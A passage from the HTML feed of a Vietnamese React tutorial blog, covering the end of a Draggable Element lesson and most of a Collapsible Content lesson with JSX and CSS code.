class="token punctuation">}</span></span> <span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h3</span><span class="token punctuation">></span></span><span class="token plain-text">Slideshow</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h3</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Slideshow</span></span> <span class="token attr-name">input</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>collection<span class="token punctuation">}</span></span> <span class="token attr-name">ratio</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">3:2</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">mode</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">manual</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">DraggableElement</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">DraggableElement</span></span> <span class="token attr-name">title</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Click here to move</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">width</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">400</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">height</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">400</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">top</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">150</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">left</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">800</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h3</span><span class="token punctuation">></span></span><span class="token plain-text">Modal Image</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h3</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">ModalImage</span></span> <span class="token attr-name">src</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>img6<span class="token punctuation">}</span></span> <span class="token attr-name">alt</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">This is one of beautiful girls</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">ratio</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">3:2</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">DraggableElement</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đó, Draggable Element Component là một <a href="https://reactjs.org/docs/higher-order-components.html"><strong>Higher-Order Components</strong></a> với các thuộc tính là:</p> <ul> <li><strong>title (<a href="/kieu-du-lieu-trong-javascript/">String</a>):</strong> là title của component.</li> <li><strong>width, height (String hoặc <a href="/kieu-du-lieu-trong-javascript/">Number</a>):</strong> lần lượt là chiều rộng và chiều cao của phần tử.</li> <li><strong>top, left (String hoặc Number):</strong> lần lượt là vị trí top và left của phần tử so với window.</li> </ul> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là kết quả sau khi mình học React qua ví dụ #8 – Draggable Element. Nếu bạn thấy hay thì có thể thực hành làm thử và tùy biến theo ý thích của bạn.</p> <a href="https://about.phamvanlam.com/learn-react-by-example/#/draggable-element/" class="btn btn-primary margin-bottom"> Xem Demo </a> <p>Sắp tới mình sẽ tiếp tục chia sẻ với bạn các bài thực hành của mình. Nếu bạn thấy hay hoặc muốn tìm hiểu về <strong>LOẠI COMPONENT</strong> nào thì có thể để lại bình luận phía dưới nhé!</p> <p>Còn bây giờ thì xin chào và hẹn gặp lại, thân ái!</p>[email protected]<![CDATA[Học React qua ví dụ #7: Collapsible Content]]><![CDATA[Xin chào bạn đến với Học React qua ví dụ #7. Bài này mình sẽ thực hành React thông qua việc tạo Collapsible Content. Trước khi bắt đầu, mời bạn theo dõi ví dụ minh họa: Theo như từ…]]>https://completejavascript.com/hoc-react-qua-vi-du-7-collapsible-content/https://completejavascript.com/hoc-react-qua-vi-du-7-collapsible-content/<![CDATA[Create-react-app]]><![CDATA[React Component]]>Tue, 27 Nov 2018 22:30:49 GMT<p>Xin chào bạn đến với Học React qua ví dụ #7. Bài này mình sẽ thực hành React thông qua việc tạo Collapsible Content. Trước khi bắt đầu, mời bạn theo dõi ví dụ minh họa:</p> <a href="https://about.phamvanlam.com/learn-react-by-example/#/collapsible-content/" class="btn btn-primary margin-bottom"> Xem Demo Collapsible Content </a> <p>Theo như từ điển anh việt thì Collapsible nghĩa là: <strong>có thể gập lại, xếp lại được</strong>. Do đó, Collapsible Content Component là một phần tử cho phép mình hiển thị mở rộng hoặc thu nhỏ nội dung, tùy thuộc vào lựa chọn của người dùng.</p> <p>Và sau đây sẽ là cách triển khai, mời bạn theo dõi bài viết!</p> <blockquote> <p><strong>Bạn chú ý:</strong> Trong series <a href="/tag/react-component/">học React qua ví dụ</a> này, mình sẽ thực hành xây dựng các Component trên cùng một Project. Vì vậy, sẽ có những phần mình lặp lại trong các bài viết. Mục đích của mình là dù bạn có bắt đầu đọc từ bài nào (bài số 1 hay bài số N) thì bạn cũng có thể làm theo được.</p> </blockquote> <h2 id="khởi-tạo-project" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-project" aria-label="khởi tạo project permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Project</h2> <p>Trong bài học này, mình vẫn khuyến khích bạn sử dụng <a href="/tag/create-react-app/">Create-react-app</a> để thực hành học React qua ví dụ #7 ngay trên máy tính của mình.</p> <p>Để tạo mới một project React với Creat-react-app, bạn có thể tham khảo thêm bài viết: <a href="/deploy-ung-dung-react-len-github-pages/">Tạo và deploy ứng dụng React lên Github Pages</a>.</p> <h2 id="cấu-trúc-project" style="position:relative;"><a href="#c%E1%BA%A5u-tr%C3%BAc-project" aria-label="cấu trúc project permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cấu trúc Project</h2> <p>Đầu tiên, bạn tạo ra các thư mục và file như sau (bạn chỉ cần quan tâm tới thư mục <strong>/src</strong>):</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">learn-react-by-example/ --src/ ----components/ ------collapsible-content/ --------collapsible-content.css --------collapsible-content.js ----images/ ----App.css ----App.js ----index.css ----index.js ----serviceWorker.js</code></pre></div> <p>Trong đó:</p> <ul> <li>Thư mục <strong>components</strong>: chứa code của các Component. Bài này mình thực hành về <strong>Collapsible Content</strong> nên mình tạo thêm thư mục <strong>collapsible-content</strong> bên trong với 2 file <strong>collapsible-content.js</strong> và <strong>collapsible-content.css</strong> để định nghĩa cho component <strong>Collapsible Content</strong> (bài viết sau thực hành về cái khác thì mình sẽ tạo thêm thư mục vào bên trong <strong>components</strong> như này).</li> <li>Thư mục <strong>images</strong>: để chứa tất cả những ảnh mình sử dụng cho Demo.</li> <li>Các file <strong>App.css</strong> và <strong>App.js</strong> dùng để demo chính. Bên trong <strong>App.js</strong> mình sẽ sử dụng component <strong>Collapsible Content</strong> ở trên.</li> <li>Các file <strong>index.css, index.js và serviceWorker.js</strong> thì <strong>KHÔNG THAY ĐỔI</strong> với mọi bài thực hành.</li> </ul> <h2 id="xây-dựng-collapsible-content-component" style="position:relative;"><a href="#x%C3%A2y-d%E1%BB%B1ng-collapsible-content-component" aria-label="xây dựng collapsible content component permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xây dựng Collapsible Content Component</h2> <h3 id="nội-dung-file-collapsible-contentjs" style="position:relative;"><a href="#n%E1%BB%99i-dung-file-collapsible-contentjs" aria-label="nội dung file collapsible contentjs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nội dung file collapsible-content.js</h3> <p>Trong phần này bạn cần phải chú ý đến một số kiến thức như:</p> <ul> <li><a href="/tim-hieu-react-component-lifecycle/">React Component Lifecycle</a></li> <li><a href="/xu-ly-mot-event-javascript-co-ban/">Đăng ký và hủy bỏ event</a> (<strong><em>resize</em></strong>).</li> </ul> <p>Về nội dung chi tiết mình sẽ giải thích trong phần comment code dưới đây. Bạn chịu khó đọc nhé! Có phần nào chưa hiểu thì có thể để lại bình luận phía dưới.</p> <div class="gatsby-code-title gatsby-remark-code-title">collapsible-content.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> ReactDOM <span class="token keyword">from</span> <span class="token string">"react-dom"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./collapsible-content.css"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token keyword">class</span> <span class="token class-name">CollapsibleContent</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">props</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">super</span><span class="token punctuation">(</span>props<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* * State isActive để quản lý xem CollapsibleContent có đang active không. * Nếu Active thì content sẽ được hiển thị, ngược lại thì không. * Nếu người dùng không truyền thuộc tính isActive vào, * thì mặc định this.state.isActive là false */</span> <span class="token keyword">this</span><span class="token punctuation">.</span>state <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">isActive</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>isActive <span class="token operator">||</span> <span class="token boolean">false</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>toggleCollapseContent <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">toggleCollapseContent</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateContentMaxHeight <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">updateContentMaxHeight</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Hàm này được gọi khi người dùng click vào khu vực button title. * Khi đó trạng thái của this.state.isActive sẽ bị lật ngược lại. * Nếu nó là true => false, * Nếu nó là false => true */</span> <span class="token function">toggleCollapseContent</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setState</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">isActive</span><span class="token operator">:</span> <span class="token operator">!</span><span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>isActive<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Cập nhật maxHeight của khu vực content, * * Nếu this.state.isActive là true thì * khu vực content có maxHeight = giá trị thực tế nó cần. * * Nếu this.state.isActive là false thì * khu vực content có maxHeight = 0 => content bị ẩn. */</span> <span class="token function">updateContentMaxHeight</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>isActive<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>panelContent<span class="token punctuation">.</span>style<span class="token punctuation">.</span>maxHeight <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>panelContent<span class="token punctuation">.</span>scrollHeight <span class="token operator">+</span> <span class="token string">"px"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>panelContent<span class="token punctuation">.</span>style<span class="token punctuation">.</span>maxHeight <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">/** * Hàm này được gọi sau khi Collapsible content được render lên. * Trong này, mình sẽ lưu lại DOM node ứng với khu vực content là this.panelContent. * Sau đó, cập nhật lại maxHeight cho nó, tuỳ thuộc vào giá trị this.state.isActive. * Đồng thời, mình đăng ký sự kiện khi resize màn hình, * để gọi hàm updateContentMaxHeight => cập nhật lại maxHeight cho content */</span> <span class="token function">componentDidMount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root <span class="token operator">=</span> ReactDOM<span class="token punctuation">.</span><span class="token function">findDOMNode</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>panelContent <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>root<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".content"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">updateContentMaxHeight</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> window<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"resize"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateContentMaxHeight<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Hàm này được gọi khi Collapsible Content bị xoá. * Khi đó, mình phải huỷ đăng ký sự kiện resize lúc trước. */</span> <span class="token function">componentWillUnmount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> window<span class="token punctuation">.</span><span class="token function">removeEventListener</span><span class="token punctuation">(</span><span class="token string">"resize"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateContentMaxHeight<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Hàm này được gọi mỗi khi this.state.isActive thay đổi. * Trong này, mình phải gọi hàm this.updateContentMaxHeight(), * để cập nhật lại maxHeight cho content, ứng với trường hợp đóng hoặc mở */</span> <span class="token function">componentDidUpdate</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">updateContentMaxHeight</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Giao diện cho Collapsible Content */</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>lp-collapsible-content<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">title </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>isActive <span class="token operator">?</span> <span class="token string">"active"</span> <span class="token operator">:</span> <span class="token string">""</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">onClick</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>toggleCollapseContent<span class="token punctuation">}</span></span> <span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>title<span class="token punctuation">}</span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>content<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>children<span class="token punctuation">}</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="nội-dung-file-collapsible-contentcss" style="position:relative;"><a href="#n%E1%BB%99i-dung-file-collapsible-contentcss" aria-label="nội dung file collapsible contentcss permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nội dung file collapsible-content.css</h3> <p>File này dùng để xác định style cho Collapsible Content Component. Bạn chú ý là mọi thành phần mình đều để trong class <strong>.lp-collapsible-content</strong> để đảm bảo không bị xung đột với các component khác (khi kết hợp các component lại với nhau).</p> <p>Ngoài ra, mình sử dụng <a href="https://www.w3schools.com/cssref/css_selectors.asp">CSS selector</a> là <strong>></strong>. Với ý nghĩa, ví dụ khi mình dùng <strong>element1 > element2</strong> thì sẽ hiểu style này được áp dụng cho <strong>element2</strong> là con trực tiếp của <strong>element1</strong> mà không phải cháu, chắt,…</p> <div class="gatsby-code-title gatsby-remark-code-title">collapsible-content.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.lp-collapsible-content, .lp-collapsible-content *</span> <span class="token punctuation">{</span> <span class="token property">box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-webkit-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-moz-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-collapsible-content</span> <span class="token punctuation">{</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* Style the buttons that are used to open and close the content */</span> <span class="token selector">.lp-collapsible-content > .title</span> <span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #eee<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #444<span class="token punctuation">;</span> <span class="token property">cursor</span><span class="token punctuation">:</span> pointer<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 18px<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">text-align</span><span class="token punctuation">:</span> left<span class="token punctuation">;</span> <span class="token property">border</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token property">outline</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token property">transition</span><span class="token punctuation">:</span> background-color 0.4s ease<span class="token punctuation">;</span> <span class="token property">-webkit-transition</span><span class="token punctuation">:</span> background-color 0.4s ease<span class="token punctuation">;</span> <span class="token property">-moz-transition</span><span class="token punctuation">:</span> background-color 0.4s ease<span class="token punctuation">;</span> <span class="token property">-o-transition</span><span class="token punctuation">:</span> background-color 0.4s ease<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* Add a background color to the button * if it is clicked on (add the .active class with JS), * and when you move the mouse over it (hover) */</span> <span class="token selector">.lp-collapsible-content > .title.active, .lp-collapsible-content > .title:hover</span> <span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> #ccc<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* Style the content. Note: hidden by default */</span> <span class="token selector">.lp-collapsible-content > .content</span> <span class="token punctuation">{</span> <span class="token property">padding</span><span class="token punctuation">:</span> 0 18px<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> white<span class="token punctuation">;</span> <span class="token property">max-height</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">overflow</span><span class="token punctuation">:</span> hidden<span class="token punctuation">;</span> <span class="token property">transition</span><span class="token punctuation">:</span> max-height 0.2s ease-out<span class="token punctuation">;</span> <span class="token property">-webkit-transition</span><span class="token punctuation">:</span> max-height 0.2s ease-out<span class="token punctuation">;</span> <span class="token property">-moz-transition</span><span class="token punctuation">:</span> max-height 0.2s ease-out<span class="token punctuation">;</span> <span class="token property">-o-transition</span><span class="token punctuation">:</span> max-height 0.2s ease-out<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-collapsible-content > .title:after</span> <span class="token punctuation">{</span> <span class="token property">content</span><span class="token punctuation">:</span> <span class="token string">"\02795"</span><span class="token punctuation">;</span> <span class="token comment">/* Unicode character for "plus" sign (+) */</span> <span class="token property">font-size</span><span class="token punctuation">:</span> 13px<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #777<span class="token punctuation">;</span> <span class="token property">float</span><span class="token punctuation">:</span> right<span class="token punctuation">;</span> <span class="token property">margin-left</span><span class="token punctuation">:</span> 5px<span class="token punctuation">;</span> <span class="token property">margin-top</span><span class="token punctuation">:</span> 3px<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-collapsible-content > .title.active:after</span> <span class="token punctuation">{</span> <span class="token property">content</span><span class="token punctuation">:</span> <span class="token string">"\2796"</span><span class="token punctuation">;</span> <span class="token comment">/* Unicode character for "minus" sign (-) */</span> <span class="token punctuation">}</span></code></pre></div> <h2 id="sử-dụng-collapsible-content-component" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-collapsible-content-component" aria-label="sử dụng collapsible content component permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng Collapsible Content component</h2> <div class="gatsby-code-title gatsby-remark-code-title">./src/App.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.App, .App *</span> <span class="token punctuation">{</span> <span class="token property">box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-moz-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-webkit-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.App</span> <span class="token punctuation">{</span> <span class="token property">text-align</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token 